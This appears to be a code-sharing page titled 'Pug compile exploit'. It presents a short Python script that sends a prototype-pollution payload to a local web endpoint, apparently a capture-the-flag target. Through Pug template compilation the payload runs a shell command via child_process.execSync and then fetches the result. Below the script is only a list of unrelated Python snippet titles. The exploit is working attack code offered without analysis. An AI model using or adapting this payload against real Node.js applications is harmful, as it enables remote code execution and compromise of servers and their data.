Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

1 vote110 views1 answer
Type de variable python
Python
0 vote100 views1 answer
Cvtcoloer opencv
Python
5 votes121 views2 answers
Importing python module from different directory
Python
0 vote115 views1 answer
Pyqt5 qtreewidgetitem enable drop drag
Python
1 vote130 views2 answers
Os path splitext
Python
2 votes116 views6 answers
Online python pytorch free compiler
Python
0 vote114 views1 answer
How to show pandas last record
Python
57 votes110 views6 answers
Int to string python
Python
0 vote123 views1 answer
Python not equal to symbol
Python
2 votes122 views1 answer
Get dictionary in array python by value
Python